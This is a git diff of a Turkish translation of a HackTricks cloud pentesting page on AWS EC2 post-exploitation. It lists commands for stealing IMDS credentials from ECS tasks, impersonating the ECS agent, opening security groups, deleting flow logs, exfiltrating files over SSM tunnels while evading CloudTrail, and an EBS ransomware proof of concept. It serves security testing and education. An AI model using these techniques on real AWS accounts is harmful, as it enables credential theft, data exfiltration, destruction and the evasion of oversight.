mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+97
-57
@@ -12,8 +12,8 @@ Daha fazla bilgi için bakınız:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring, VPC içindeki EC2 instance'larının gelen ve giden trafiğini instance'ların kendilerine herhangi bir şey kurma gereği olmadan çoğaltır. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ izinsiz giriş tespit sistemine (IDS) gönderilir.\
|
||||
Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve içinden hassas bilgiler elde edebilir:
|
||||
VPC traffic mirroring **bir VPC içindeki EC2 instances için gelen ve giden trafiği çoğaltır** ve instance'ların kendilerine herhangi bir şey yüklemeye gerek olmadan.\
|
||||
Bu çoğaltılmış trafik genellikle analiz ve izleme için network intrusion detection system (IDS) gibi bir hedefe gönderilir. Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve bundan hassas bilgi elde edebilir:
|
||||
|
||||
For more information check this page:
|
||||
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances genellikle bazı hassas bilgiler içerir. İçeri girmek için çeşitli yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ancak içeriğin ne olduğunu kontrol etmenin bir diğer yolu **bir AMI oluşturup bundan yeni bir instance (hatta kendi hesabınızda bile) çalıştırmaktır**:
|
||||
Instances genellikle bir tür hassas bilgi içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ancak, içeriğinin ne olduğunu kontrol etmenin diğer bir yolu da **bir AMI oluşturup ondan yeni bir instance çalıştırmaktır (hatta kendi hesabınızda bile)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, genellikle **hassas bilgiler** içerir, bu nedenle bunları kontrol etmek bu bilgileri ortaya çıkarmalıdır.\
|
||||
Eğer bir **volume without a snapshot** bulursanız: **Create a snapshot** oluşturabilir ve aşağıdaki işlemleri gerçekleştirebilir veya hesabın içinde bir instance'a sadece **mount it in an instance** edebilirsiniz:
|
||||
**Snapshots are backups of volumes**, genellikle **hassas bilgiler** içerir; bu yüzden bunları kontrol etmek bu bilgileri açığa çıkaracaktır.\
|
||||
Eğer bir **volume without a snapshot** bulursanız şu seçenekleriniz var: **Create a snapshot** yapıp aşağıdaki işlemleri gerçekleştirmek veya hesabın içinde bir instance'a **mount it in an instance**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak dışa aktarın ve snapshot paylaşımı olmadan ham disk imajı elde edin. Bu, instance ağını etkilemeden tam çevrimdışı adli inceleme veya veri hırsızlığı yapılmasını sağlar.
|
||||
EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak dışa aktarın ve snapshot paylaşımı olmadan ham disk imajı elde edin. Bu, instance ağını değiştirmeden tam çevrimdışı adli analiz veya veri hırsızlığına olanak verir.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Bir io1/io2 Multi-Attach volume'u ikinci bir instance'a bağlayın ve snapshot olmadan canlı veriyi çekmek için salt okunur (read-only) olarak mount edin. Kurban volume zaten aynı AZ içinde Multi-Attach etkinse faydalıdır.
|
||||
Bir io1/io2 Multi-Attach volume'u ikinci bir instance'a takın ve snapshot olmadan canlı verileri çekmek için read-only olarak mount edin. Hedef volume zaten aynı AZ içinde Multi-Attach etkinse kullanışlıdır.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Bir EC2 Instance Connect Endpoint oluşturun, ingress'i yetkilendirin ve yönetilen bir tünel üzerinden private instance'lara erişmek için geçici SSH anahtarları enjekte edin. Bu, public port açmadan hızlı lateral hareket yolları sağlar.
|
||||
Bir EC2 Instance Connect Endpoint oluşturun, ingress'i yetkilendirin ve yönetilen bir tünel üzerinden özel instance'lara erişmek için geçici SSH anahtarları enjekte edin. Public portları açmadan hızlı lateral movement yolları sağlar.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Kurban ENI'nin ikincil private IP'sini saldırganın kontrolündeki bir ENI'ye taşıyarak IP ile allowlistelenmiş güvenilir host'ları taklit edin. Belirli adreslere bağlı internal ACL'leri veya SG kurallarını atlamayı sağlar.
|
||||
Hedef ENI’nin ikincil private IP’sini saldırgan kontrolündeki bir ENI’ye taşıyarak IP ile allowlisted edilmiş güvenilir hostları taklit edin. Bu, belirli adreslere bağlı iç ACL'leri veya SG kurallarını atlamayı sağlar.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Bir Elastic IP'yi kurban instance'dan saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir public IP'lerden geliyormuş gibi görünen giden bağlantılar başlatın.
|
||||
Hedef instance'tan bir Elastic IP'yi saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir public IP'lerden geliyormuş gibi görünen giden bağlantılar başlatın.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Eğer bir security group kuralı müşteri tarafından yönetilen bir prefix list'e referans veriyorsa, listeye saldırgan CIDR'leri eklemek SG'nin kendisini değiştirmeden bağlı tüm SG kurallarına erişimi sessizce genişletir.
|
||||
Eğer bir security group kuralı customer-managed prefix list'e referans veriyorsa, listeye saldırgan CIDR'leri eklemek SG'yi değiştirmeden bağlı tüm SG kurallarında erişimi sessizce genişletir.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
İzolasyona alınmış subnet'lerden çıkış erişimini geri kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private links, data exfiltration için eksik IGW/NAT kontrollerini atlatır.
|
||||
İzol edilmiş subnet'lerden giden erişimi geri kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private links'i kullanmak, eksik IGW/NAT kontrollerini veri sızdırma için atlamayı sağlar.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
ec2:AuthorizeSecurityGroupIngress iznine sahip bir saldırgan security group'lara inbound kurallar ekleyebilir (örneğin, 0.0.0.0/0'dan tcp:80'e izin vermek), böylece internal servisleri halka açık İnternet'e veya yetkisiz diğer ağlara açar.
|
||||
ec2:AuthorizeSecurityGroupIngress iznine sahip bir saldırgan security group'lara inbound kuralları ekleyebilir (örneğin, 0.0.0.0/0'dan tcp:80'e izin vermek), böylece iç servisleri public Internet'e veya yetkisiz ağlara açar.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
ec2:ReplaceNetworkAclEntry (veya benzeri) izinlere sahip bir saldırgan, bir subnet’in Network ACLs (NACLs) öğelerini çok izin verici hale getirmek için değiştirebilir — örneğin kritik portlarda 0.0.0.0/0'e izin vererek — tüm subnet aralığını İnternet'e veya yetkisiz ağ segmentlerine açar. Security Groups, instance başına uygulanırken, NACLs subnet düzeyinde uygulanır; bu yüzden kısıtlayıcı bir NACL'ı değiştirmek, çok daha fazla sunucuya erişimi mümkün kılarak çok daha büyük bir blast radius'a sahip olabilir.
|
||||
ec2:ReplaceNetworkAclEntry (veya benzeri) izinlere sahip bir saldırgan, bir subnet’in Network ACLs (NACLs) öğelerini değiştirerek bunları çok daha izin verici hale getirebilir — örneğin kritik portlarda 0.0.0.0/0'e izin vererek — tüm subnet aralığını İnternet'e veya yetkisiz ağ segmentlerine açar. Örnek başına uygulanan Security Groups'un aksine, NACLs subnet seviyesinde uygulanır; bu yüzden kısıtlayıcı bir NACL'i değiştirmek, erişimi çok daha fazla hosta açarak çok daha büyük bir etki alanına sahip olabilir.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
ec2:Delete* ve iam:Remove* izinlerine sahip bir saldırgan kritik altyapı kaynaklarını ve yapılandırmaları silebilir — örneğin key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Bu, anında hizmet kesintisine, veri kaybına ve adli kanıt kaybına yol açabilir.
|
||||
ec2:Delete* ve iam:Remove* izinlerine sahip bir saldırgan kritik altyapı kaynaklarını ve yapılandırmaları silebilir — örneğin key pairs, launch templates/versions, AMIs/snapshots, volumes veya attachments, security groups veya kurallar, ENIs/network endpoints, route tables, gateways veya managed endpoints. Bu, anında hizmet kesintisine, veri kaybına ve adli kanıtların kaybolmasına yol açabilir.
|
||||
|
||||
Bir örnek: bir güvenlik grubunun silinmesi:
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
VPC Flow Logs'u saldırgan kontrolündeki bir S3 bucket'a yönlendirerek, uzun vadeli reconnaissance için hedef hesabın dışında ağ meta verilerini (source/destination, ports) sürekli olarak toplayın.
|
||||
VPC Flow Logs'u saldırgan kontrolündeki bir S3 bucket'a yönlendirerek ağ meta verilerini (source/destination, ports) kurban hesabı dışında uzun süreli keşif için sürekli olarak toplayabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,43 +150,81 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Bir EC2'yi dışarıya hiçbir trafik çıkmayacak şekilde kilitleseniz bile, hâlâ **exfil via DNS** yapabilir.
|
||||
Bir EC2'yi çıkış trafiğine kapatsanız bile, yine de **exfil via DNS** yapabilir.
|
||||
|
||||
- **VPC Flow Logs bunu kaydetmez**.
|
||||
- AWS DNS loglarına erişiminiz yok.
|
||||
- Bunu devre dışı bırakmak için "enableDnsSupport" parametresini false olarak ayarlayın:
|
||||
- AWS DNS loglarına erişiminiz yoktur.
|
||||
- Bunu etkisizleştirmek için "enableDnsSupport"u false olarak ayarlayın:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Bir saldırgan, kendi kontrolündeki bir hesabın API uç noktalarına çağrı yapabilir. Cloudtrail bu çağrıları kaydeder ve saldırgan Cloudtrail loglarında exfiltrate data'yı görebilir.
|
||||
Saldırgan, kendi kontrolündeki bir hesabın API endpoint'lerini çağırabilir. Cloudtrail bu çağrıları loglar ve saldırgan exfiltrate edilen veriyi Cloudtrail loglarında görebilir.
|
||||
|
||||
### Güvenlik Grubunu Açma
|
||||
### Open Security Group
|
||||
|
||||
Aşağıdaki gibi portları açarak ağ servislerine daha fazla erişim elde edebilirsiniz:
|
||||
Aşağıdaki gibi portları açarak ağ servislerine daha fazla erişim sağlayabilirsiniz:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Bir EC2 instance'ı çalıştırıp, ECS instance'larını çalıştırmak için kullanılacak şekilde kaydederek, ardından ECS instance'larının verilerini çalmak mümkündür.
|
||||
Bir EC2 instance'ı çalıştırıp onu ECS instance'larını çalıştırmak için kayıt ederek ECS instance'larının verilerini çalmak mümkündür.
|
||||
|
||||
Daha fazla bilgi için [**buraya bakın**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### VPC flow logs'ı Kaldır
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
Bir EC2 container instance üzerinde çalışan herhangi bir ECS task'ının içine yapılan bir compromise, tipik olarak host rolüne ve o node'daki diğer tüm task'larla ilişkili IAM rollere pivot yapmak için yeterlidir. Çünkü ECS-on-EC2 için **görev izolasyonu yoktur**, her task varsayılan olarak EC2 Instance Metadata Service (IMDS)'i sorgulayabilir, container instance profilini çalabilir ve ardından kontrol plane ile ECS agent'in kullandığı aynı WebSocket protokolüyle (the **ECScape** primitive) konuşarak o host'ta şu anda planlanmış olan her task için kimlik bilgilerini talep edebilir. Latacora documented this workflow in their [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), which the following offensive summary condenses.
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
IMDSv2'yi `HttpTokens=required` ve `HttpPutResponseHopLimit=1` ile ayarlamak yalnızca ekstra bir hop'ın (Docker bridge) arkasında kalan task'ları engeller. Diğer ağ modları Nitro controller ile hâlâ bir hop içinde kalır ve yanıt alır:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Her task kendi ENI'sini alır ve bu hâlâ IMDS'e bir hop uzaklıkta olduğundan token'lar ve metadata yanıtları başarıyla ulaşır. |
|
||||
| `host` | ✅ | Task'lar host namespace'ini paylaşır, bu yüzden EC2 instance ile aynı hop uzaklığını görürler. |
|
||||
| `bridge` | ❌ | Yanıtlar Docker bridge üzerinde sonlanır çünkü o ekstra hop hop limitini tüketir. |
|
||||
|
||||
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check `/etc/ecs/ecs.config` for `ECS_AWSVPC_BLOCK_IMDS=true`. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.
|
||||
|
||||
- **bridge mode:** When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a `DOCKER-USER` drop rule such as `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listing `iptables -S DOCKER-USER` exposes it, and root access lets you delete or reorder the rule before querying IMDS.
|
||||
|
||||
- **host mode:** Inspect the agent configuration for `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is `true` (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target `169.254.169.254`; look for tc/eBPF programs or iptables rules referencing that address.
|
||||
|
||||
Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
|
||||
|
||||
Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.
|
||||
|
||||
### VPC flow logs'ı kaldırma
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
Gerekli izinler:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Komut yürütmenin yanı sıra, SSM traffic tunneling'e izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivot yapmak için kötüye kullanılabilir.
|
||||
Bunun yararlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS cluster'a pivoting yapmaktır.
|
||||
Komut yürütmenin yanı sıra, SSM trafik tünellemesine izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivot yapmak için kötüye kullanılabilir.
|
||||
Bunun yararlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel EKS cluster'ına pivoting yapmaktır.
|
||||
|
||||
> Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -195,48 +233,48 @@ Bunun yararlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksf
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Bastion EC2 AWS geçici kimlik bilgilerini [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script ile alın
|
||||
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasında `[bastion-ec2]` profili olarak aktarın
|
||||
3. Bastion EC2 için AWS geçici kimlik bilgilerini [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script ile alın
|
||||
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın
|
||||
5. Bastion EC2 olarak EKS'e giriş yapın:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost`'a işaret edecek şekilde güncelleyin
|
||||
7. Aşağıdaki şekilde bir SSM tüneli oluşturun:
|
||||
6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost`'a işaret edecek şekilde güncelle.
|
||||
7. Aşağıdaki şekilde bir SSM tunnel oluşturun:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl` aracının trafiği artık Bastion EC2 üzerinden SSM tüneli aracılığıyla iletiliyor ve kendi makinenizden aşağıdaki komutu çalıştırarak özel EKS kümesine erişebilirsiniz:
|
||||
8. `kubectl` aracından gelen trafik artık Bastion EC2 üzerinden SSM tüneli aracılığıyla yönlendiriliyor ve kendi makinenizden aşağıdaki komutu çalıştırarak özel EKS kümesine erişebilirsiniz:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
SSL bağlantıları, `--insecure-skip-tls-verify ` bayrağı (veya K8s audit araçlarındaki eşdeğeri) ayarlanmadıkça başarısız olur. Trafik güvenli AWS SSM tunnel üzerinden tünellendiği için herhangi bir MitM saldırısından korunursunuz.
|
||||
Not: SSL bağlantıları `--insecure-skip-tls-verify ` bayrağını (veya K8s audit araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafik güvenli AWS SSM tüneli üzerinden tünellendiğinden, herhangi bir MitM saldırısından korunursunuz.
|
||||
|
||||
Son olarak, bu teknik özel EKS kümelerine saldırmakla sınırlı değildir. Başka herhangi bir AWS servisine veya özel bir uygulamaya pivot yapmak için rastgele domainler ve portlar belirleyebilirsiniz.
|
||||
Son olarak, bu teknik özel EKS kümelerine saldırmakla sınırlı değildir. Rastgele domainler ve portlar ayarlayarak herhangi bir diğer AWS servisine veya özel bir uygulamaya pivot yapabilirsiniz.
|
||||
|
||||
---
|
||||
|
||||
#### Hızlı Yerel ↔️ Uzak Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Hızlı Yerel ↔️ Uzak Port Yönlendirme (AWS-StartPortForwardingSession)
|
||||
|
||||
Eğer sadece **EC2 instance'ından yerel host'unuza tek bir TCP portunu** yönlendirmeniz gerekiyorsa `AWS-StartPortForwardingSession` SSM dokümanını kullanabilirsiniz (uzak host parametresi gerekmez):
|
||||
Eğer yalnızca EC2 instance'ından yerel hostunuza tek bir TCP portunu yönlendirmeniz gerekiyorsa `AWS-StartPortForwardingSession` SSM dokümanını kullanabilirsiniz (uzak host parametresi gerekmez):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Komut, workstation'ınız (`localPortNumber`) ile instance üzerindeki seçili port (`portNumber`) arasında çift yönlü bir tünel oluşturur **without opening any inbound Security-Group rules**.
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
|
||||
Yaygın kullanım durumları:
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Instance üzerinde, exfiltrate etmek istediğiniz dizine işaret eden hızlı bir HTTP sunucusu başlatın:
|
||||
1. Instance üzerinde exfiltrate etmek istediğiniz dizini işaret eden hızlı bir HTTP sunucusu başlatın:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Workstation'ınızdan SSM tüneli üzerinden dosyaları çekin:
|
||||
2. İş istasyonunuzdan dosyaları SSM tüneli üzerinden alın:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
@@ -250,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
İpucu: Exfiltrating işleminden önce kanıtları sıkıştırıp şifreleyin, böylece CloudTrail açık metin içeriğini kaydetmez:
|
||||
İpucu: Delilleri exfiltrating etmeden önce sıkıştırıp şifreleyin, böylece CloudTrail açık metin içeriğini kaydetmez:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -259,9 +297,9 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Genel ve özel AMIs'lerde hassas bilgileri ara
|
||||
### Kamuya açık ve özel AMIs içinde hassas bilgileri arama
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, genel veya özel Amazon Machine Images (AMIs) içinde **hassas bilgileri aramak** için tasarlanmış bir araçtır. Hedef AMIs'den instance'ları başlatma, bunların volume'larını bağlama ve olası secret'lar veya hassas veriler için tarama süreçlerini otomatikleştirir.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak** için tasarlanmış bir araçtır. Hedef AMIs'den instance'lar başlatma, bunların volume'larını mount etme ve potansiyel secrets veya hassas veriler için tarama süreçlerini otomatikleştirir.
|
||||
|
||||
### EBS Snapshot Paylaşımı
|
||||
```bash
|
||||
@@ -269,9 +307,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir PoC. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanmasının ne kadar kolay olduğuna bağlı olarak Ransomware Management Service (RMS) olarak yeniden adlandırılmalıdır.
|
||||
S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kavram kanıtı. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanılmasının ne kadar kolay olduğuna bakılırsa Ransomware Management Service (RMS) olarak yeniden adlandırılmalı.
|
||||
|
||||
Önce 'attacker' AWS hesabından KMS içinde bir müşteri yönetimli anahtar oluşturun. Bu örnek için anahtar verilerini AWS'in benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS kontrolü dışında tutardı. Anahtar politikasını, herhangi bir AWS hesap Principal'inin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırıldı.
|
||||
Önce 'attacker' AWS hesabından KMS içinde bir customer managed key oluşturun. Bu örnek için AWS'in anahtar verisini benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda kötü niyetli bir aktör anahtar verisini AWS'nin kontrolü dışında tutardı. Anahtar politikasını, herhangi bir AWS account Principal'ın anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırılmıştı.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +401,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer
|
||||
]
|
||||
}
|
||||
```
|
||||
Anahtar politika kuralının bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekiyor:
|
||||
Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilme yeteneğine izin vermesi amacıyla aşağıdakilerin etkinleştirilmesini gerektirir:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +409,21 @@ Anahtar politika kuralının bir EBS hacmini şifrelemek için kullanılabilmesi
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Şimdi kullanılacak halka açık erişilebilir anahtar ile. Şifrelenmemiş EBS hacimleri bağlı bazı EC2 instances olan bir 'victim' hesabını kullanabiliriz. Bu 'victim' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ele geçirildiği varsayımıyla gerçekleştiriliyor.
|
||||
Artık kullanılacak genel erişime açık anahtarla. Şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 instance'ları bulunan bir 'victim' hesabını kullanabiliriz. Bu 'victim' hesabın EBS hacimleri şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ele geçirildiği varsayımı altında gerçekleşir.
|
||||
|
||||
 
|
||||
|
||||
